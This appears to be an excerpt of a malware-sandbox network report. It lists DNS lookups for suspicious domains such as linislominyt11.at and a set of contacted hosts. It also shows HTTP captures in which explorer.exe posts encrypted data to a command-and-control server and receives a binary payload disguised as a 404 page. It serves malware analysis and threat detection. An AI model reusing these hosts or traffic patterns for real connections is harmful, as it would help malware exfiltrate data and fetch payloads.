Aug 31, 2022 08:34:11.878418922 CEST	8.8.8.8	192.168.2.3	0xe07d	No error (0)	linislominyt11.at		37.34.248.24	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:11.878418922 CEST	8.8.8.8	192.168.2.3	0xe07d	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:11.878418922 CEST	8.8.8.8	192.168.2.3	0xe07d	No error (0)	linislominyt11.at		190.107.133.19	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:11.878418922 CEST	8.8.8.8	192.168.2.3	0xe07d	No error (0)	linislominyt11.at		211.53.230.67	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:11.878418922 CEST	8.8.8.8	192.168.2.3	0xe07d	No error (0)	linislominyt11.at		175.120.254.9	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:11.878418922 CEST	8.8.8.8	192.168.2.3	0xe07d	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:11.878418922 CEST	8.8.8.8	192.168.2.3	0xe07d	No error (0)	linislominyt11.at		190.225.159.63	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:11.878418922 CEST	8.8.8.8	192.168.2.3	0xe07d	No error (0)	linislominyt11.at		116.121.62.237	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.379890919 CEST	8.8.8.8	192.168.2.3	0xfbab	No error (0)	linislominyt11.at		151.251.24.5	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.379890919 CEST	8.8.8.8	192.168.2.3	0xfbab	No error (0)	linislominyt11.at		181.197.121.228	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.379890919 CEST	8.8.8.8	192.168.2.3	0xfbab	No error (0)	linislominyt11.at		195.158.3.162	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.379890919 CEST	8.8.8.8	192.168.2.3	0xfbab	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.379890919 CEST	8.8.8.8	192.168.2.3	0xfbab	No error (0)	linislominyt11.at		190.147.189.122	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.379890919 CEST	8.8.8.8	192.168.2.3	0xfbab	No error (0)	linislominyt11.at		175.119.10.231	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.379890919 CEST	8.8.8.8	192.168.2.3	0xfbab	No error (0)	linislominyt11.at		187.195.146.2	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.379890919 CEST	8.8.8.8	192.168.2.3	0xfbab	No error (0)	linislominyt11.at		196.200.111.5	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.379890919 CEST	8.8.8.8	192.168.2.3	0xfbab	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.379890919 CEST	8.8.8.8	192.168.2.3	0xfbab	No error (0)	linislominyt11.at		190.225.159.63	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.997426987 CEST	8.8.8.8	192.168.2.3	0x857e	No error (0)	linislominyt11.at		195.158.3.162	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.997426987 CEST	8.8.8.8	192.168.2.3	0x857e	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.997426987 CEST	8.8.8.8	192.168.2.3	0x857e	No error (0)	linislominyt11.at		190.147.189.122	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.997426987 CEST	8.8.8.8	192.168.2.3	0x857e	No error (0)	linislominyt11.at		175.119.10.231	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.997426987 CEST	8.8.8.8	192.168.2.3	0x857e	No error (0)	linislominyt11.at		187.195.146.2	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.997426987 CEST	8.8.8.8	192.168.2.3	0x857e	No error (0)	linislominyt11.at		196.200.111.5	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.997426987 CEST	8.8.8.8	192.168.2.3	0x857e	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.997426987 CEST	8.8.8.8	192.168.2.3	0x857e	No error (0)	linislominyt11.at		190.225.159.63	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.997426987 CEST	8.8.8.8	192.168.2.3	0x857e	No error (0)	linislominyt11.at		151.251.24.5	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.997426987 CEST	8.8.8.8	192.168.2.3	0x857e	No error (0)	linislominyt11.at		181.197.121.228	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:18.651249886 CEST	8.8.8.8	192.168.2.3	0x4d01	No error (0)	amrhomedecor.com		206.221.182.74	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:19.267021894 CEST	8.8.8.8	192.168.2.3	0xa676	No error (0)	www.amrhomedecor.com	amrhomedecor.com		CNAME (Canonical name)	IN (0x0001)
Aug 31, 2022 08:34:19.267021894 CEST	8.8.8.8	192.168.2.3	0xa676	No error (0)	amrhomedecor.com		206.221.182.74	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:22.209125996 CEST	8.8.8.8	192.168.2.3	0x8d86	No error (0)	linislominyt11.at		195.158.3.162	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:22.209125996 CEST	8.8.8.8	192.168.2.3	0x8d86	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:22.209125996 CEST	8.8.8.8	192.168.2.3	0x8d86	No error (0)	linislominyt11.at		190.147.189.122	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:22.209125996 CEST	8.8.8.8	192.168.2.3	0x8d86	No error (0)	linislominyt11.at		175.119.10.231	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:22.209125996 CEST	8.8.8.8	192.168.2.3	0x8d86	No error (0)	linislominyt11.at		187.195.146.2	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:22.209125996 CEST	8.8.8.8	192.168.2.3	0x8d86	No error (0)	linislominyt11.at		196.200.111.5	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:22.209125996 CEST	8.8.8.8	192.168.2.3	0x8d86	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:22.209125996 CEST	8.8.8.8	192.168.2.3	0x8d86	No error (0)	linislominyt11.at		190.225.159.63	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:22.209125996 CEST	8.8.8.8	192.168.2.3	0x8d86	No error (0)	linislominyt11.at		151.251.24.5	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:22.209125996 CEST	8.8.8.8	192.168.2.3	0x8d86	No error (0)	linislominyt11.at		181.197.121.228	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:23.704744101 CEST	8.8.8.8	192.168.2.3	0x172c	No error (0)	linislominyt11.at		187.195.146.2	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:23.704744101 CEST	8.8.8.8	192.168.2.3	0x172c	No error (0)	linislominyt11.at		190.147.189.122	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:23.704744101 CEST	8.8.8.8	192.168.2.3	0x172c	No error (0)	linislominyt11.at		37.34.248.24	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:23.704744101 CEST	8.8.8.8	192.168.2.3	0x172c	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:23.704744101 CEST	8.8.8.8	192.168.2.3	0x172c	No error (0)	linislominyt11.at		190.107.133.19	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:23.704744101 CEST	8.8.8.8	192.168.2.3	0x172c	No error (0)	linislominyt11.at		211.53.230.67	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:23.704744101 CEST	8.8.8.8	192.168.2.3	0x172c	No error (0)	linislominyt11.at		175.120.254.9	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:23.704744101 CEST	8.8.8.8	192.168.2.3	0x172c	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:23.704744101 CEST	8.8.8.8	192.168.2.3	0x172c	No error (0)	linislominyt11.at		190.225.159.63	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:23.704744101 CEST	8.8.8.8	192.168.2.3	0x172c	No error (0)	linislominyt11.at		116.121.62.237	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:25.280092955 CEST	8.8.8.8	192.168.2.3	0x20d9	No error (0)	i.xyzgamei.com		172.67.137.109	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:25.280092955 CEST	8.8.8.8	192.168.2.3	0x20d9	No error (0)	i.xyzgamei.com		104.21.86.228	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:25.935066938 CEST	8.8.8.8	192.168.2.3	0x4be0	No error (0)	b.game2723.com		188.114.97.3	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:25.935066938 CEST	8.8.8.8	192.168.2.3	0x4be0	No error (0)	b.game2723.com		188.114.96.3	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:27.467176914 CEST	8.8.8.8	192.168.2.3	0xd96d	No error (0)	linislominyt11.at		187.195.146.2	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:27.467176914 CEST	8.8.8.8	192.168.2.3	0xd96d	No error (0)	linislominyt11.at		190.147.189.122	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:27.467176914 CEST	8.8.8.8	192.168.2.3	0xd96d	No error (0)	linislominyt11.at		37.34.248.24	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:27.467176914 CEST	8.8.8.8	192.168.2.3	0xd96d	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:27.467176914 CEST	8.8.8.8	192.168.2.3	0xd96d	No error (0)	linislominyt11.at		190.107.133.19	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:27.467176914 CEST	8.8.8.8	192.168.2.3	0xd96d	No error (0)	linislominyt11.at		211.53.230.67	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:27.467176914 CEST	8.8.8.8	192.168.2.3	0xd96d	No error (0)	linislominyt11.at		175.120.254.9	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:27.467176914 CEST	8.8.8.8	192.168.2.3	0xd96d	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:27.467176914 CEST	8.8.8.8	192.168.2.3	0xd96d	No error (0)	linislominyt11.at		190.225.159.63	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:27.467176914 CEST	8.8.8.8	192.168.2.3	0xd96d	No error (0)	linislominyt11.at		116.121.62.237	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:28.224718094 CEST	8.8.8.8	192.168.2.3	0xb42e	No error (0)	linislominyt11.at		187.195.146.2	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:28.224718094 CEST	8.8.8.8	192.168.2.3	0xb42e	No error (0)	linislominyt11.at		196.200.111.5	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:28.224718094 CEST	8.8.8.8	192.168.2.3	0xb42e	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:28.224718094 CEST	8.8.8.8	192.168.2.3	0xb42e	No error (0)	linislominyt11.at		190.225.159.63	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:28.224718094 CEST	8.8.8.8	192.168.2.3	0xb42e	No error (0)	linislominyt11.at		151.251.24.5	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:28.224718094 CEST	8.8.8.8	192.168.2.3	0xb42e	No error (0)	linislominyt11.at		181.197.121.228	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:28.224718094 CEST	8.8.8.8	192.168.2.3	0xb42e	No error (0)	linislominyt11.at		195.158.3.162	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:28.224718094 CEST	8.8.8.8	192.168.2.3	0xb42e	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:28.224718094 CEST	8.8.8.8	192.168.2.3	0xb42e	No error (0)	linislominyt11.at		190.147.189.122	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:28.224718094 CEST	8.8.8.8	192.168.2.3	0xb42e	No error (0)	linislominyt11.at		175.119.10.231	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:28.917311907 CEST	8.8.8.8	192.168.2.3	0xa364	No error (0)	stylesheet.faseaegasdfase.com		85.209.157.230	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:37.209081888 CEST	8.8.8.8	192.168.2.3	0xcdff	No error (0)	linislominyt11.at		196.200.111.5	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:37.209081888 CEST	8.8.8.8	192.168.2.3	0xcdff	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:37.209081888 CEST	8.8.8.8	192.168.2.3	0xcdff	No error (0)	linislominyt11.at		190.225.159.63	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:37.209081888 CEST	8.8.8.8	192.168.2.3	0xcdff	No error (0)	linislominyt11.at		151.251.24.5	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:37.209081888 CEST	8.8.8.8	192.168.2.3	0xcdff	No error (0)	linislominyt11.at		181.197.121.228	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:37.209081888 CEST	8.8.8.8	192.168.2.3	0xcdff	No error (0)	linislominyt11.at		195.158.3.162	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:37.209081888 CEST	8.8.8.8	192.168.2.3	0xcdff	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:37.209081888 CEST	8.8.8.8	192.168.2.3	0xcdff	No error (0)	linislominyt11.at		190.147.189.122	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:37.209081888 CEST	8.8.8.8	192.168.2.3	0xcdff	No error (0)	linislominyt11.at		175.119.10.231	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:37.209081888 CEST	8.8.8.8	192.168.2.3	0xcdff	No error (0)	linislominyt11.at		187.195.146.2	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:38.587940931 CEST	8.8.8.8	192.168.2.3	0x4307	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:40.633600950 CEST	8.8.8.8	192.168.2.3	0x6bb6	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:40.633600950 CEST	8.8.8.8	192.168.2.3	0x6bb6	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:42.961673975 CEST	8.8.8.8	192.168.2.3	0x1af	Name error (3)	ilaboqbdeqwem.xyz	none	none	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:44.235886097 CEST	8.8.8.8	192.168.2.3	0x9e1e	No error (0)	ilabonjsnmwiy.top		194.87.94.240	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:44.548213005 CEST	8.8.8.8	192.168.2.3	0x54fe	No error (0)	www.hhiuew33.com		45.136.151.102	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:45.178261995 CEST	8.8.8.8	192.168.2.3	0xc0f2	No error (0)	ilabonjsnmwiy.top		194.87.94.240	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:45.655126095 CEST	8.8.8.8	192.168.2.3	0x700a	No error (0)	ilabonjsnmwiy.top		194.87.94.240	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:45.809425116 CEST	8.8.8.8	192.168.2.3	0x6f25	No error (0)	ilabonjsnmwiy.top		194.87.94.240	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:46.280257940 CEST	8.8.8.8	192.168.2.3	0xbef7	No error (0)	ilabonjsnmwiy.top		194.87.94.240	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:46.463943005 CEST	8.8.8.8	192.168.2.3	0x8a64	No error (0)	ilabonjsnmwiy.top		194.87.94.240	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:46.609613895 CEST	8.8.8.8	192.168.2.3	0xd64f	No error (0)	www.hhiuew33.com		45.136.151.102	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:46.938070059 CEST	8.8.8.8	192.168.2.3	0xe302	No error (0)	ilabonjsnmwiy.top		194.87.94.240	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

amrhomedecor.com

www.amrhomedecor.com

i.xyzgamei.com

b.game2723.com

v.xyzgamev.com

fbmqj.com

linislominyt11.at

gngex.com

beijaflor.nu

fwmkph.net

plpnmw.com

npwrv.net

yeucvw.net

wpkjhnji.net

yanua.org

xsfkvoxx.net

lsklhonuxd.org

lqudckqay.com

dwkjstnxy.com

stylesheet.faseaegasdfase.com

guudony.com

ip-api.com

vyvajdnb.org

ilabonjsnmwiy.top

www.hhiuew33.com

fhcvttjp.org

ngwdajhq.net

mxkkusd.org

ovkeyxgom.net

skkembj.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49755	206.221.182.74	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49756	206.221.182.74	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49749	196.200.111.5	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:34:10.449673891 CEST	11427	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://npwrv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 241 Host: linislominyt11.at
Aug 31, 2022 08:34:10.449852943 CEST	11428	OUT	Data Raw: 4a 9d 84 c9 4c 6e 55 23 5d 71 20 24 08 a1 5f b9 21 1b e5 65 f9 6e de aa c7 1b a6 f1 72 87 de 93 8c df 8f b5 04 39 e6 cb ab 5a 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 bb 8a 14 62 cc d6 4f 96 fd f8 54 b1 Data Ascii: JLnU#]q $_!enr9Zjp_S61oJf=B!bOT b,caxc$WhdH\b1.A8l:Z.v'nGX<3xmv)2Ne&!J8\|5qj:cPXlA
Aug 31, 2022 08:34:11.836158037 CEST	11428	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 06:34:11 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49750	187.195.146.2	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:34:12.101406097 CEST	11429	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yeucvw.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 143 Host: linislominyt11.at
Aug 31, 2022 08:34:12.101447105 CEST	11429	OUT	Data Raw: 4a 9d 84 c9 4c 6e 55 23 5d 71 20 24 08 a1 5f b9 21 1b e5 65 f9 6e de aa c7 1b a6 f1 72 87 de 93 8c df 8f b5 04 39 e6 cb ab 5a 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 b8 8a 14 62 cd d6 4f 96 89 a5 3b ce Data Ascii: JLnU#]q $_!enr9Zjp_S61oJf=B!bO;z3Z$=f{s>p#\(M-$?c- O
Aug 31, 2022 08:34:12.753038883 CEST	11431	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 06:34:12 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 02 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 e1 8e e2 e3 0b 73 fd 08 d8 a1 5b 1d 69 07 04 66 d5 e7 62 38 e2 2b 47 68 b3 14 1d 81 a7 ee 90 63 fa cf bb 77 d2 90 f6 2f 25 4f a6 9e 75 40 35 18 2c fd 8c 81 f3 41 34 a3 42 ea 3d 2d 59 cd 3d 3b c4 14 89 a6 ba a6 b5 95 ff 9e b1 af 02 93 4b 62 96 5c 96 a0 10 ea 40 81 e0 62 7b a9 af 51 b8 22 86 ad 90 60 b2 85 30 16 b2 84 f4 17 ec b4 73 6f 73 af f2 ad 21 ce 86 2c d5 fd 9e 7b 6c 1d c8 8e c8 25 78 10 a5 9f f1 f4 a9 6d ee 06 07 7c 28 08 43 ce ba 83 8c 59 18 e2 f2 b8 fb 19 a7 8e c1 6c 6a bb a8 09 c0 eb ec 69 7c a4 68 53 71 d7 21 7d 91 9d f0 00 fa cb 1f 9e 1d 09 52 2b e5 8d 83 7b 2e 00 f7 ff 34 8c 53 db 86 a4 1d 70 bf 1e e1 92 24 08 4f c5 e3 a1 c9 80 6a 7f d7 fd 69 09 1c 17 7e 6f bb 9a a5 46 c9 a0 e2 a9 dd 7a 0d 80 4e 19 e0 ec 90 a9 18 1a b5 96 be 35 51 61 9a c4 3e 7c 8d 28 c8 48 6b a1 c6 4a 9f 03 fd ec 9e aa 7b ac 87 df a4 61 0d d0 5d bf 46 34 fd f8 10 6c 33 2c 29 7c 1a 8d c7 ed e4 0e a4 eb 6e 71 eb 90 f5 1a 68 9b 4a d8 09 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 16 b4 f3 9f 3b 2a b9 72 be d5 23 51 72 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 71 a2 d6 2b 5d 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 dd c9 7d b1 79 32 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 41 b7 ae 51 46 28 e7 5b 5e fd ae 1e 26 6d 11 ee c3 7e 52 a3 4c 0d 85 1f d4 5c 68 91 9c 29 06 f1 2c 5e ae 03 7b e5 1f 84 88 0f 74 fe 64 d8 d9 b0 b6 71 89 8a cd 24 7a 74 79 d0 7d 43 cc 79 8e 8b e1 62 7a d7 9c 88 c3 e0 2b a9 b4 bb 41 7a 17 68 fc ca 27 6b b1 a1 aa 7a 95 00 69 e3 cd 90 cf 37 00 70 e1 1c c9 60 e3 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 0d a6 70 14 2d 82 c8 f9 02 0f 0f ca 43 c5 25 2e 9f d6 d7 ec 35 88 c3 a7 0d 98 d3 d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 00 aa ae 48 ef b6 d2 41 46 7d da a9 20 ef c8 2f cb b2 10 e8 8b 33 1e ac 18 f8 6e b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 a9 c1 ea de 3d 9a dd 20 2a 82 f0 73 59 c5 d9 ed 07 d2 4b dc 1a 0e 8b 18 57 71 18 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 16 60 de dc 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d 01 28 2b 77 33 c3 00 45 3d 79 24 0d 1e eb 67 f9 7d d8 ef fe cd f0 a8 01 3f 26 58 c5 07 1f ad d6 46 43 7c 20 4b b2 cf dd a9 8c 29 02 3d 89 31 99 a5 13 01 6e 01 2e 10 72 c8 ad f4 ae e4 47 29 fb d8 a7 22 40 42 c1 6f 02 89 cc 05 81 55 0c e3 56 f6 a8 b4 f3 5b 11 8f 41 bd 0a 29 78 87 9b 68 ca 4b c2 7b 28 b0 cf bb 66 56 9a 3c 5c e3 9c 17 6b 18 67 cd d2 f3 bb 75 e0 91 ce e0 ae 08 4b 84 6e 25 2f 74 4d ab 61 98 4b 24 5b cc ba 0f 14 78 c5 8a d3 0e 3a 03 2a 79 2b 0d 8f 3d ef a2 86 89 Data Ascii: `@0,xO}q4 IJ%9Wd8IkDJ8P>s[ifb8+Ghcw/%Ou@5,A4B=-Y=;Kb\@b{Q"`0sos!,{l%xm\|(CYlji\|hSq!}R+{.4Sp$Oji~oFzN5Qa>\|(HkJ{a]F4l3,)\|nqhJO;yLu;r#Qr1yr+Lcq+]<'i3FHU=hU@Wd{9f(B@w=f}y2QpKk^NTUAQF([^&m~RL\h),^{tdq$zty}Cybz+Azh'kzi7p`RH:M?~p-C%.5_)CCUb:HAF} /3nR= sYKWq}B.'<B`se%x`80_xm^22B9GQ =TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=(+w3E=y$g}?&XFC\| K)=1n.rG)"@BoUV[A)xhK{(fV<\kguKn%/tMaK$[x:y+=
Aug 31, 2022 08:34:12.753071070 CEST	11432	IN	Data Raw: f5 11 dc 4f 59 9a 5b 85 5c 42 41 eb 60 fa 12 37 8e dd 28 81 41 78 3d 65 43 32 c0 36 6d c1 db dc d1 29 20 4d 9d 15 ac 25 63 6f 7d 54 5a 84 d0 3e f5 c6 89 99 11 85 1b 9a 32 04 5c 41 13 9c c6 2f a8 f3 d7 e1 1c 70 84 d8 c0 e4 93 c8 f6 47 b2 3c 43 c5 Data Ascii: OY[\BA`7(Ax=eC26m) M%co}TZ>2\A/pG<C4,um\og~$zX9;67=74J!YAPG6/<C1t7RJu!]P\0=Ef1HWA{d5 w[PL,_
